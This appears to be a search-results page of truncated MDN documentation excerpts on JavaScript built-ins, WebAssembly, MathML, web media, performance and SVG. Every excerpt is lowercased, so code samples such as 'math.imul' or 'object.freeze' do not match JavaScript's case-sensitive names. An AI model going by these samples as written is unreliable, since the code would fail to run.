this, ...args). where boundthis is [[boundthis]], args is [[boundarguments]], followed by the arguments passed by the function call. a bound function may also be constructed using the new operator. doing so acts as though the target function had instead been constructed. the provided this value is ignored, while prepended arguments are provided to the emulated function. polyfill because older browsers are generally also slower browsers, it is far more critical than most people recognize to create performance polyfills to make the browsing experience in outdated browsers slightly less horrible. thus, presented below are two options for function.prototype.bind() polyfills: the first one is much smaller and more performant, but does not work when using the new operator. the second one is ...
...method from an object, then to later call that function and expect it to use the original object as its this (e.g., by using the method in callback-based code). without special care, however, the original object is usually lost. ...
Intl.Collator() constructor - JavaScript
this is because the values are implementation-specific. that is, the specification requires only that the before and after values are negative and positive. specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator constructor' in that specification. ...
...this is because the values are implementation-specific. that is, the specification requires only that the before and after values are negative and positive. specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator constructor' in that specification. ...
Intl.Collator - JavaScript
this is because the values are implementation-specific. that is, the specification requires only that the before and after values are negative and positive. using locales the results provided by collator.prototype.compare() vary between languages. in order to get the sort order of the language used in the user interface of your application, make sure to specify that lan...
...tes the different potential results for a string occurring before, after, or at the same level as another: console.log(new intl.collator().compare('a', 'c')); // → a negative value console.log(new intl.collator().compare('c', 'a')); // → a positive value console.log(new intl.collator().compare('a', 'a')); // → 0 note that the results shown in the code above can vary between browsers and browser versions. this is because the values are implementation-specific. that is, the specification requires only that the before and after values are negative and positive. using locales the results provided by collator.prototype.compare() vary between languages. in order to get the sort order of the language used in the user interface of your application, make sure to specify that language (and po...
JSON - JavaScript
r and u+2029 paragraph separator are allowed in string literals and property keys in json; but their use in these features in javascript string literals is a syntaxerror. consider this example where json.parse() parses the string as json and eval executes the string as javascript: let code = '"\u2028\u2029"' json.parse(code) // evaluates to "\u2028\u2029" in all engines eval(code) // throws a syntaxerror in old engines other differences include allowing only double-quoted strings and having no provisions for undefined or comments. for those who wish to use a more human-friendly configuration format based on json, there is json5, used by the babel compiler, and the more commonly used yaml. full json syntax the full json syntax is as follows: json = null or true or false ...
...gify(value[, replacer[, space]]) return a json string corresponding to the specified value, optionally including only certain properties or replacing property values in a user-defined manner. by default, all instances of undefined are replaced with null, and other unsupported native data types are censored. the replacer option allows for specifying other behavior. ...
Math.imul() - JavaScript
integer back into a floating point. the reason imul exists is because it is faster in only one (so far) circumstance: asmjs. asmjs allows for jist-optimizers to more easily implement internal integers in javascript. multiplying two numbers stored internally as integers (which is only possible with asmjs) with imul is the only potential circumstance where math.imul may prove performant in current browsers. polyfill this can be emulated with the following function: if (!math.imul) math.imul = function(a, b) { var ahi = (a >>> 16) & 0xffff; var alo = a & 0xffff; var bhi = (b >>> 16) & 0xffff; var blo = b & 0xffff; // the shift by 0 fixes the sign on the high part // the final |0 converts the unsigned value into a signed value return ((alo * blo) + (((ahi * blo + alo * bhi) << 16...
... if (!math.imul) math.imul = function(opa, opb) { opb |= 0; // ensure that opb is an integer. opa will automatically be coerced. // floating points give us 53 bits of precision to work with plus 1 sign bit // automatically handled for our convie...
Object.freeze() - JavaScript
e return value is just the same object we passed in. o === obj; // true // the object has become frozen. object.isfrozen(obj); // === true // now any changes will fail obj.foo = 'quux'; // silently does nothing // silently doesn't add the property obj.quaxxor = 'the friendly duck'; // in strict mode such attempts will throw typeerrors function fail(){ 'use strict'; obj.foo = 'sparky'; // throws a typeerror delete obj.foo; // throws a typeerror delete obj.quaxxor; // returns true since attribute 'quaxxor' was never added obj.sparky = 'arf'; // throws a typeerror } fail(); // attempted changes through object.defineproperty; // both statements below throw a typeerror. object.defineproperty(obj, 'ohai', { value: 17 }); object.defineproperty(obj, 'foo', { value: 'eit' }); // it's al...
... change the prototype // both statements below will throw a typeerror. object.setprototypeof(obj, { x: 20 }) obj.__proto__ = { x: 20 } freezing arrays let a = [0]; object.freeze(a); // the array cannot be modified now. a[0] = 1; // fails silently // in strict mode such attempt will throw a typeerror function fail() { "use strict" a[0] = 1; } fail(); // attempted to push a.push(2); // throws a typeerror the object being frozen is immutable. however, it is not necessarily constant. the following example shows that a frozen object is not constant (freeze is shallow). obj1 = { internal: {} }; object.freeze(obj1); obj1.internal.a = 'avalue'; obj1.internal.a // 'avalue' to be a constant object, the entire reference graph (direct and indirect references to other objects) must refere...
Object.preventExtensions() - JavaScript
ventextensions // object.preventextensions returns the object // being made non-extensible. var obj = {}; var obj2 = object.preventextensions(obj); obj === obj2; // true // objects are extensible by default. var empty = {}; object.isextensible(empty); // === true // ...but that can be changed. ...
...ty = {}; object.isextensible(empty); // === true // ...but that can be changed. object.preventextensions(empty); object.isextensible(empty); // === false // object.defineproperty throws when adding // a new property to a non-extensible object. var nonextensible = { removable: true }; object.preventextensions(nonextensible); object.defineproperty(nonextensible, 'new', { value: 8675309 }); // throws a typeerror // in strict mode, attempting to add new properties // to a non-extensible object throws a typeerror. function fail() { 'use strict'; // throws a typeerror nonextensible.newproperty = 'fail'; } fail(); a non-extensible object's prototype is immutable: var fixed = object.preventextensions({}); // throws a 'typeerror'. fixed.__proto__ = { oh: 'hai' }; non-object coercion in ...
Object.setPrototypeOf() - JavaScript
the object.setprototypeof() method sets the prototype (i.e., the internal [[prototype]] property) of a specified object to another object or null. warning: changing the [[prototype]] of an object is, by the nature of how modern javascript engines optimize property accesses, currently a very slow operation in every browser and javascript engine. in addition, the effects of altering inheritance are subtle and far-flung, and are not limited to simply the time spent in the object.setprototypeof(...) statement, but may extend to any code that has access to any object whose [[prototype]] has been altered. because this feature is a part of the language, it is still the burden on engine developers to implement that feature performantly (ideally). until engine developers address this issue, if you ...
...e concerned about performance, you should avoid setting the [[prototype]] of an object. instead, create a new object with the desired [[prototype]] using object.create(). syntax object.setprototypeof(obj, prototype) parameters obj the object which is to have its prototype set. prototype the object's new prototype (an object or null). return value the specified object. description throws a typeerror exception if the object whose [[prototype]] is to be modified is non-extensible according to object.isextensible(). does nothing if the prototype parameter isn't an object or null (i.e., number, string, boolean, or undefined). otherwise, this method changes the [[prototype]] of obj to the new value. object.setprototypeof() is in the ecmascript 2015 specification. it is generally cons...
Promise.resolve() - JavaScript
d asynchronously. see how then works here. ...
...on(v) { console.log(v); // "fulfilled!" }, function(e) { // not called }); // thenable throws before callback // promise rejects var thenable = { then: function(resolve) { throw new typeerror('throwing'); resolve('resolving'); }}; var p2 = promise.resolve(thenable); p2.then(function(v) { // not called }, function(e) { console.error(e); // typeerror: throwing }); // thenable throws after callback // promise resolves var thenable = { then: function(resolve) { resolve('resolving'); throw new typeerror('throwing'); }}; var p3 = promise.resolve(thenable); p3.then(function(v) { console.log(v); // "resolving" }, function(e) { // not called }); specifications specification ecmascript (ecma-262)the definition of 'promise.resolve' in that specification.
Promise - JavaScript
) by clicking the button several times in a short amount of time, you'll even see the different promises being fulfilled one after another. loading an image with xhr another simple example using promise and xmlhttprequest to load an image is a...
...unt + ') promise made (sync code terminated)'); } if ("promise" in window) { let btn = document.getelementbyid("btn"); btn.addeventlistener("click",testpromise); } else { log = document.getelementbyid('log'); log.innerhtml = "live example not available as your browser doesn't support the <code>promise<code> interface."; } this example is started by clicking the button. (you need a browser that supports promise. ) by clicking the button several times in a short amount of time, you'll even see the different promises being fulfilled one after another. loading an image with xhr another simple example using promise and xmlhttprequest to load an image is available at the mdn github js-examples repository. you can also see it in action. each step is commented and allows you to fol...
Reflect.defineProperty() - JavaScript
. return value a boolean indicating whether or not the property was successfully defined. exceptions a typeerror, if target is not an object. description the reflect.defineproperty method allows precise addition to or modification of a property on an object. for more details, see the object.defineproperty which is similar. one key difference: object.defineproperty returns the object or throws a typeerror if the property has not been successfully defined. reflect.defineproperty, however, simply returns a boolean indicating whether or not the property was successfully defined. examples using reflect.defineproperty() let obj = {} reflect.defineproperty(obj, 'x', {value: 7}) // true obj.x // 7 checking if property definition has been successf...
...neproperty, however, simply returns a boolean indicating whether or not the property was successfully defined. examples using reflect.defineproperty() let obj = {} reflect.defineproperty(obj, 'x', {value: 7}) // true obj.x // 7 checking if property definition has been successful with object.defineproperty, which returns an object if successful, or throws a typeerror otherwise, you would use a try...catch block to catch any error that occurred while defining a property. ] because reflect.defineproperty returns a boolean success status, you can just use an if...else block here: if (reflect.defineproperty(target, property, attributes)) { // success } else { // failure } specifications specification ecmascript (ecma-262)the ...
RegExp - JavaScript
structor of the regular expression object—for example, new regexp('ab+c')—results in runtime compilation of the regular expression. use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and obtain it from another source, such as user input. flags in constructor starting with ecmascript 6, new regexp(/ab+c/, 'i') no longer throws a typeerror ("can't supply flags when constructing one regexp from another") when the first argument is a regexp and the second flags argument is present. a new regexp from the arguments is created instead. when using the constructor function, the normal string escape rules (preceding special characters with \ when included in a string) are necessary. for example, the following are equivalent: ...
...ext'] console.log(regex.lastindex) // logs '15' // and so on the unicode property escapes feature introduces a solution, by allowing for a statement as simple as \p{scx=cyrl}. extracting sub-domain name from url let url = 'http://xxx.domain.com' console.log(/[^.]+/.exec(url)[0].substr(7)) // logs 'xxx' instead of using regular expressions for parsing urls, it is usually better to use the browsers built-in url parser by using the url api. specifications specification ecmascript (ecma-262)the definition of 'regexp' in that specification. ...
Planned changes to shared memory - JavaScript
these changes provide further isolation between sites and help reduce the impact of attacks with high-resolution timers, which can be created with shared memory. starting with firefox 79, the features described in this document are enabled by default. chrome intends to implement similar restrictions. ...
...ope that this restriction can be removed in the future. webassembly.memory can still be used to get an instance. unless the two headers mentioned above are set, the various postmessage() apis will throw for sharedarraybuffer objects. if they are set, postmessage() on window objects and dedicated workers will function and allow for memory sharing. to avoid having to check whether postmessage() throws, self.crossoriginisolated is being standardized (a getter that returns a boolean; true if the headers are set), available in window and worker contexts. webassembly shared memory the webassembly threads proposal allows webassembly.memory objects to be created with a new shared constructor flag. when this flag is set to true, the constructed memory object can be shared between workers via postm...
SharedArrayBuffer - JavaScript
buffer objects is the same data block, and a side effect to the block in one agent will eventually become visible in the other agent. var sab = new sharedarraybuffer(1024); worker.postmessage(sab); updating and synchronizing shared memory with atomic operations shared memory can be created and updated simultaneously in workers or the main thread. depending on the system (the cpu, the os, the browser) it can take a while until the change is propagated to all contexts. to synchronize, atomic operations are needed. apis which use sharedarraybuffer objects webglrenderingcontext.bufferdata() webglrenderingcontext.buffersubdata() webgl2renderingcontext.getbuffersubdata() security requirements shared memory and high-resolution timers were effectively disabled at the start of 2018 in ligh...
...calling a sharedarraybuffer constructor as a function without new will throw a typeerror. var sab = sharedarraybuffer(1024); // typeerror: calling a builtin sharedarraybuffer constructor // without new is forbidden var sab =...
String.prototype.localeCompare() - JavaScript
equivalent. description returns an integer indicating whether the referencestr comes before, after or is equivalent to the comparestring. negative when the referencestr occurs before comparestring positive when the referencestr occurs after comparestring returns 0 if they are equivalent do not rely on exact return values of -1 or 1! negative and positive integer results vary between browsers (as well as between browser versions) because the w3c specification only mandates negative and positive values. some browsers may return -2 or 2, or even some other negative or positive value. performance when comparing large numbers of strings, such as in sorting large arrays, it is better to create an intl.collator object and use the function provided by its compare property. examples ...
...a" are equivalent yielding a neutral value of zero 'a'.localecompare('a'); // 0 sort an array localecompare() enables case-insensitive sorting for an array. let items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu']; items.sort( (a, b) => a.localecompare(b, 'fr', {ignorepunctuation: true})); // ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé'] check browser support for extended arguments the locales and options arguments are not supported in all browsers yet. to check whether an implementation supports them, use the "i" argument (a requirement that illegal language tags are rejected) and look for a rangeerror exception: function localecomparesupportslocales() { try { 'foo'.localecompare('bar', 'i'); } catch (e) { return e.name === '...
String.prototype.replace() - JavaScript
the nth parenthesized submatch string, provided the first argument was a regexp object. note that this is 1-indexed. if a group n is not present (e.g., if group is 3), it will be replaced as a literal (e.g., $3). $<name> where name is a capturing group name. if the group is not in the regular expressions (or not in the match), this will resolve to the empty string. only available in browser versions supporting named capturing groups. specifying a function as a parameter you can specify a function as the second parameter. in this case, the function will be invoked after the match has been performed. the function's result (return value) will be used as the replacement string. (note: the above-mentioned special replacement patterns do not apply in this case.) note that the f...
...orresponds to $1, $2, etc. above.) for example, if /(\a+)(\b+)/, was given, p1 is the match for \a+, and p2 for \b+. offset the offset of the matched substring within the whole string being examined. (for example, if the whole string was 'abcd', and the matched substring was 'bc', then this argument will be 1.) string the whole string being examined. groups in browser versions supporting named capturing groups, will be an object whose keys are the used group names, and whose values are the matched portions (undefined if not matched). (the exact number of arguments depends on whether the first argument is a regexp object—and, if so, how many parenthesized submatches it specifies.) the following example will set newstring to 'abc - 12345 - #$*%': fu...
WebAssembly.Module() constructor - JavaScript
the webassembly.module() constructor function can be called to synchronously compile given webassembly binary code. however, the primary way to get a module is through an asynchronous compilation function like webassembly.compile(). ...
...module(bytes); } fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = createwasmmodule(bytes); webassembly.instantiate(mod, importobject) .then(result => result.exports.exported_func() ); }) specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmodule() c...
WebAssembly.Module - JavaScript
constructor webassembly.module() creates a new module object. static properties webassembly.module.customsections() given a module and string, returns a copy of the contents of all custom sections in the module with the given string name. webassembly.module.exports() given a module, returns an array containing descriptions of all the declared exports. webassembly.module.imports() given a module, returns an array containing descriptions of all the declared imports. ...
...le.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmodulechro...
WebAssembly - JavaScript
e instance of a webassembly.module webassembly.linkerror() indicates an error during module instantiation (besides traps from the start function). webassembly.memory() an object whose buffer property is a resizable arraybuffer that holds the raw bytes of memory accessed by a webassembly instance. webassembly.module() contains stateless webassembly code that has already been compiled by the browser and can be efficiently shared with workers, and instantiated multiple times. webassembly.runtimeerror() error type that is thrown whenever webassembly specifies a trap. webassembly.table() an array-like structure representing a webassembly table, which stores function references. static methods webassembly.instantiate() the primary api for compiling and instantiating webassembly code,...
...: arg => console.log(arg) } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); the resultobject's instance member is then accessed, and the contained exported function invoked. specifications specification webassembly javascript interfacethe definition of 'webassembly' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jswebassembl...
encodeURIComponent() - JavaScript
this will encode "&" symbols that may inadvertently be generated during data entry for special html entities or other characters t...
...this will encode "&" symbols that may inadvertently be generated during data entry for special html entities or other characters that require encoding/decoding. for example, if a user writes "jack & jill", the text may get encoded as "ja...
globalThis - JavaScript
you can use window, self, or frames - but in web workers only self will work. in node.js none of these work, and you must instead use global. the this keyword could be used inside functions running in non–strict mode, but this will be undefined in modules and inside functions running in strict mode. you can also use function('return this')(), but environments that disable eval(), like csp in browsers, prevent use of function in this way. the globalthis property provides a standard way of accessing the global this value (and hence the global object itself) across environments. unlike similar properties such as window and self, it's guaranteed to work in window and non-window contexts. in this way, you can access the global object in a consistent manner without having to know which environm...
...guaranteed to work in window and non-window contexts. in this way, you can access the global object in a consistent manner without having to know which environment the code is being run in.to help you remember the name, just remember that in global scope the this value is globalthis. html and the windowproxy in many engines globalthis will be a reference to the actual global object, but in web browsers, due to iframe and cross-window security considerations, it references a proxy around the actual global object (which you can't directly access). this distinction is rarely relevant in common usage, but important to be aware of. naming several other popular name choices such as self and global were removed from consideration because of their potential to break compatibility with existing cod...
parseInt() - JavaScript
input string begins with "0x" or "0x" (a zero, followed by lowercase or uppercase x), radix is assumed to be 16 and the rest of the string is parsed as a hexidecimal number. if the input string begins with "0" (a zero), radix is assumed to be 8 (octal) or 10 (decimal). exactly which radix is chosen is implementation-dependent. ecmascript 5 clarifies that 10 (decimal) should be used, but not all browsers support this yet. for this reason, always specify a radix when using parseint. if the input string begins with any other value, the radix is 10 (decimal). if the first character cannot be converted to a number, parseint returns nan. for arithmetic purposes, the nan value is not a number in any radix. you can call the isnan function to determine if the result of parseint is nan. if nan is p...
...o the specified radix. leading whitespace in string is ignored. if radix is undefined or 0, it is assumed to be 10 except when the number begins with the character pairs 0x or 0x, in which case a radix of 16 is assumed. this differs from ecmascript 3, which merely discouraged (but allowed) octal interpretation. many implementations have not adopted this behavior as of 2013. and, because older browsers must be supported, always specify a radix. a stricter parse function it is sometimes useful to have a stricter way to parse integers. regular expressions can help: function filterint(value) { if (/^[-+]?(\d+|infinity)$/.test(value)) { return number(value) } else { return nan } } console.log(filterint('421')) // 421 console.log(filterint('-421')) ...
Unary plus (+) - JavaScript
erred way of converting something into a number, because it does not perform any other operations on the number. it can convert string representations of integers and floats, as well as the non-string values true, false, and null. integers in both decimal and hexadecimal (0x-prefixed) formats are supported. negative numbers are supported (though not for hex). ...
...re supported. negative numbers are supported (though not for hex). using the operator on bigint values throws a typeerror. if it cannot parse a particular value, it will evaluate to nan. examples usage with numbers const x = 1; const y = -1; console.log(+x); // 1 console.log(+y); // -1 usage with non-numbers +true // 1 +false // 0 +null // 0 +function(val){ return val } // nan +1n // throws typeerror: cannot convert bigint value to number specifications specification ecmascript (ecma-262)the definition of 'unary plus operator' in that specification. ...
try...catch - JavaScript
s be used, even for single statements. at least one catch-block, or a finally-block, must be present. this gives us three forms for the try statement: try...catch try...finally try...catch...finally a catch-block contains statements that specify what to do if an exception is thrown in the try-block. if any statement within the try-block (or in a function called from within the try-block) throws an exception, control is immediately shifted to the catch-block. if no exception is thrown in the try-block, the catch-block is skipped. the finally-block will always execute after the try-block and catch-block(s) have finished executing. it always executes, regardless of whether an exception was thrown or caught. you can nest one or more try statements. if an inner try statement does not have ...
... throw ex; } finally { console.log('finally'); } } catch (ex) { console.error('outer', ex.message); } // output: // "inner" "oops" // "finally" // "outer" "oops" any given exception will be caught only once by the nearest enclosing catch-block unless it is rethrown. of course, any new exceptions raised in the "inner" block (because the code in catch-block may do something that throws), will be caught by the "outer" block. returning from a finally-block if the finally-block returns a value, this value becomes the return value of the entire try-catch-finally statement, regardless of any return statements in the try and catch-blocks. this includes exceptions thrown inside of the catch-block: (function() { try { try { throw new error('oops'); } catch (ex) {...
var - JavaScript
hence the result. initialization of several variables var x = 0; function f() { var x = y = 1; // declares x locally; declares y globally. } f(); console.log(x, y); // 0 1 // in non-strict mode: // x is the global one as expected; // y is leaked outside of the function, though! the same example as above but with a strict mode: 'use strict'; var x = 0; function f() { var x = y = 1; // throws a referenceerror in strict mode. } f(); console.log(x, y); implicit globals and outer function scope variables that appear to be implicit globals may be references to variables in an outer function scope: var x = 0; // declares x within file scope, then assigns it a value of 0. console.log(typeof z); // "undefined", since z doesn't exist yet function a() { var y = 2; // declares y within ...
...nsole.log(typeof z); // "undefined", since z doesn't exist yet function a() { var y = 2; // declares y within scope of function a, then assigns it a value of 2. console.log(x, y); // 0 2 function b() { x = 3; // assigns 3 to existing file scoped x. y = 4; // assigns 4 to existing outer y. z = 5; // creates a new global variable z, and assigns it a value of 5. // (throws a referenceerror in strict mode.) } b(); // creates z as a global variable. console.log(x, y, z); // 3 4 5 } a(); // also calls b. console.log(x, z); // 3 5 console.log(typeof y); // "undefined", as y is local to function a specifications specification ecmascript (ecma-262)the definition of 'variable statement' in that specification. ...
MathML attribute reference - MathML
e <mstyle>, <mtable> a boolean value specifying whether more vertical space is used for displayed equations or, if set to false, a more compact layout is used to display formulas. unimplemented edge <malignmark> unimplemented equalcolumns <mtable> a boolean value indicating whether to force all columns to have the same total height. unimplemented equalrows <mtable> a boolean value indicating whether to force all rows to have the same total height. fence <mo> a boolean value specifying whether the operator is a fence (such as parentheses). there is no visual effect for this attribute. unimplemented form <mo> specifies the role of the operator in an enclosed expression. frame <mtable> specifies borde...
...ter. unimplemented overflow <math> if an expression is too long to fit in the allowed width, this attribute sets the preferred handling. unimplemented position <msgroup>, <msrow>, <mscarries>, <msline> rowalign <mtable>, <mtd>, <mtr> specifies the vertical alignment of table cells. rowlines <mtable> specifies table row borders. rowspacing <mtable> specifies the space between table rows. rowspan <mtd> a non-negative integer value that indicates on how many rows does the cell extend. rspace <mo> the amount of space after the operator. rquote <ms> the closing quote mark (depends on dir) to enclose the content. the default value is "&quot;". scriptlevel <mstyle> c...
<mmultiscripts> - MathML
t the subscript below the baseline of the expression, as a css length. this property is deprecated and will be removed in the future. superscriptshift the minimum space by which to shift the superscript above the baseline of the expression, as a css length. this property is deprecated and will be removed in the future. ...
...r: x d c b a <math> <mmultiscripts> <mi>x</mi> <!-- base expression --> <mi>d</mi> <!-- postsubscript --> <mi>c</mi> <!-- postsuperscript --> <mprescripts /> <mi>b</mi> <!-- presubscript --> <mi>a</mi> <!-- presuperscript --> </mmultiscripts> </math> using <none/> sample rendering: rendering in your browser: x c b <math> <mmultiscripts> <mi>x</mi> <!-- base expression --> <none /> <!-- postsubscript --> <mi>c</mi> <!-- postsuperscript --> <mprescripts /> <mi>b</mi> <!-- presubscript --> <none /> <!-- presuperscript --> </mmultiscripts> </math> specifications specification status com...
MathML
athematical notation and capturing both its structure and content. here you'll find links to documentation, examples, and tools to help you work with this powerful technology. for a quick overview, see the slides for the innovation fairs at mozilla summit 2013. mathml reference mathml element reference details about each mathml element and compatibility information for desktop and mobile browsers. mathml attribute reference information about mathml attributes that modify the appearance or behavior of elements. mathml examples mathml samples and examples to help you understand how it works. authoring mathml suggestions and tips for writing mathml, including suggested mathml editors and how to integrate their output into web content. view all... getting help from the community...
...to force mathjax to use native mathml, try this mozilla add-on, this safari extension or this greasemonkey script. related topics css html svg ...
Digital audio concepts - Web media technologies
ssing audio. most codecs use a combination of these, and may use other techniques as well. the simplest thing you can do is to apply a filter that removes hiss and quiet sounds, converting any quiet sections into silence and smoothing out the signal. this can produce stretches of silence as well as other repeating or nearly repeating signals that can be shortened. you can apply a filter that narrows the audio bandwidth, removing any audio frequencies that you don't care about. this is especially useful for voice-only audio signals. doing this removes data, making the resulting signal more likely to be easy to compress. psychoacoustics if you know what kind of audio you're most likely to handle, you can potentially find special filtering techniques applicable specifically to that kind of so...
...igned to compress general audio analyzes an audio waveform, it can discard anything outside the range of human hearing (or possibly even more, depending on how willing the algorithm is willing to risk losing detail at the high and/or low end of the frequency band. that means that the codec can discard audio whose frequency is lower than about 20 hz or higher than about 20,000 hz (20 khz). this narrows the audio bandwidth of the sound, thereby reducing the amoung of data required to represent the signal in its compressed form. the audio bandwidth can't be reduced nearly as much as for a speech-only codec, but it is still a helpful start. some people can hear outside this range to some extent. more often, people's ability to hear higher frequencies is rather lower than this; in particular, it's...
Handling media support issues in web content - Web media technologies
he web is that there are a number of media formats available, of varying degrees of popularity and with a variety of capabilities. the availability of choices is good for the user, in that they can choose the format that suits their needs best. there is a drawback, however: because there are so many to choose from, with so many different kinds of licenses and design principles involved, each web browser developer is left to its own devices when deciding which media file types and codecs to support. this places a small, but reasonably easily overcome, burden on the web developer: to properly handle the situation when the user's browser can't handle a particular type of media. this guide covers techniques you can use to develop web content that meets your media needs while providing the most br...
...hile it's still loading. this requires creating your images using progressive formats, such as progressive jpeg or interlaced png. once your image has been converted to progressive form, you can simply use it as usual. <img src="/images/stafff-photo-huge-progressive.jpg" alt="staff photo, taken in january of 1972"> when using a progressive image, the data is stored in such a way that the browser is able to render a low-quality representation of the image as soon as possible, then update the image as it loads—or after it's finished loading—to present it in full quality. note: progressive (or interlaced) images are inherently slightly larger than the non-progressive versions of the same images. whether the interlacing will benefit your users is up to you to determine. specifying ...
Web media technologies
on <img> elements to captions to tagging media for screen readers. guide to media types and formats on the web a guide to the file types and codecs available for images, audio, and video media on the web. this includes recommendations for what formats to use for what kinds of content, best practices including how to provide fallbacks and how to prioritize media types, and also includes general browser support information for each media container and codec. streaming audio and video a guide which covers how to stream audio and video, as well as techniques and technologies you can take advantage of to ensure the best possible quality and/or performance of your streams. autoplay guide for media and web audio apis unexpected automatic playback of media or audio can be an unwelcome surprise t...
...w to stream audio and video, as well as techniques and technologies you can take advantage of to ensure the best possible quality and/or performance of your streams. autoplay guide for media and web audio apis unexpected automatic playback of media or audio can be an unwelcome surprise to users. while autoplay serves a purpose, it should be used carefully. to give users control over this, many browsers now provide forms of autoplay blocking. this article is a guide to autoplay, with tips on when and how to use it and how to work with browsers to handle autoplay blocking gracefully. positional audio in a 3d environment in 3d environments, which may either be 3d scenes rendered to the screen or a mixed reality experience experienced using a headset, it's important for audio to be performed s...
CSS and JavaScript animation performance - Web Performance
s animations for more details. in terms of performance, there is no difference between implementing an animation with css transitions or animations. both of them are classified under the same css-based umbrella in this article. requestanimationframe the requestanimationframe() api provides an efficient way to make animations in javascript. the callback function of the method is called by the browser before the next repaint on each frame. compared to settimeout()/setinterval(), which need a specific delay parameter, requestanimationframe() is much more efficient. developers can create an animation by simply changing an element's style each time the loop is called (or updating the canvas draw, or whatever.) note: like css transitions and animations, requestanimationframe() pauses when the ...
...c-animations. toggle its value to true. after enabling omta, try running the above test again. you should see that the fps of the css animations will now be significantly higher. note: in nightly/developer edition, you should see that omta is enabled by default, so you might have to do the tests the other way around (test with it enabled first, then disable to test without omta.) summary browsers are able to optimize rendering flows. in summary, we should always try to create our animations using css transitions/animations where possible. if your animations are really complex, you may have to rely on javascript-based animations instead. ...
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
simulate the path an end user might take through a web application, reporting back the performance the simulator experiences. the traffic measured is not of your actual users, but rather synthetically generated traffic collecting data on page performance. an example of synthetic monitoring is webpagetest.org. it is done in a controlled environment where variable like geography, network, device, browser, and cached status are predetermined. it provides waterfall charts for every asset served by the host and cdn as well as every third party asset and asset requests generated by all third party scripts, such as ads and analytic services. controlling for environmental variables is helpful in understanding where performance bottlenecks have been occurring and identifying the source of any perform...
...resolve problems before they negatively user experience. real user monitoring real user monitoring or rum measures the performance of a page from real users' machines. generally, a third party script injects a script on each page to measure and report back on page load data for every request made. this technique monitors an application’s actual user interactions. in real user monitoring, the browsers of real users report back performance metrics experienced. rum helps identify how an application is being used, including the geographic distribution of users and the impact of that distribution on the end user experience. unlike synthetic monitoring, rum captures the performance of actual users regardless of device, browser, network or geographic location. as users interact with an applicat...
Graphic design for responsive sites - Progressive web apps (PWAs)
mmatic/vector graphics as much as possible, as they theoretically scale infinitely so will still look crisp at high resolutions. you could use css3 properties for generating effects like drop shadows, gradients and rounded corners, and you could also consider using svg for other ui elements, instead of raster graphics formats. the downsides here are that css3 properties and svg don't work on old browsers such as ie6-8 (although polyfills are available, and you could build in fallbacks), and svg isn't suitable for high detail images, such as photographs. using fonts for icons another technique to consider is using web fonts for icons. text is infinitely scalable on the web, and you can also use css text properties to style your web font icons, such as text-shadow and color. making your own fo...
...t awesome. interactive images if your images need to feature some level of interactivity, such as links, other clickable areas, or animation, there are a number of options available. css as well as adding programmatic graphical effects to links (and anywhere else you might want them), css3 also allows you to write declarative animations and transitions. these may not be supported in older browsers like ie6-8, but they generally degrade gracefully, are fairly easy to write, and become much more flexible and powerful when combined with javascript and other technologies. javascript javascript has functions that enable developers to create animations, and any other type of interactivity you want. it is very powerful when combined with other technologies, although its complexity is a barri...
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
you may specify svg in styles either within the same document or an external style sheet. there are 3 properties you can use: mask, clip-path, and filter. note: references to svg in external files must be to the same origin as the referencing document. using embedded svg to apply an svg effect using css styles, you first need to create the css style that references the svg to apply. <style>p { mask: url(#my-mask); }</style> in the above example, all paragraphs are masked by an svg <mask> with the id my-mask. ...
...you can achieve the same effect using svg filters. <p class="blur">time to clean my glasses</p> <svg height="0"> <defs> <filter id="wherearemyglasses" x="0" y="0"> <fegaussianblur in="sourcegraphic" stddeviation="1"/> </filter> </defs> </svg> you can apply the svg and the css filter in the same class: .blur { f...
color-profile - SVG: Scalable Vector Graphics
e embedded profile is specified within content data. for images that do have a profile built into their data, that profile is used. for images that do not have a profile, the srgb profile is used. srgb the source profile is assumed to be srgb. this differs from auto in that it overrides an embedded profile inside an image. <name> a name corresponding to a defined color profile that is in the browser's color profile description database. the browser searches the color profile description database for a color profile description entry whose name descriptor matches <name> and uses the last matching entry that is found. if a match is found, the corresponding profile overrides an embedded profile inside an image. if no match is found, then the embedded profile inside the image is used. <iri> ...
... profile inside the image is used. <iri> an iri reference to the source color profile. the referenced color profile overrides an embedded profile inside the image. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-profile' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolor-profile deprecated...
cursor - SVG: Scalable Vector Graphics
Web › SVG › Attribute › cursor
as a presentation attribute, it also can be used as a property directly inside a css stylesheet, see css cursor for further information. ...
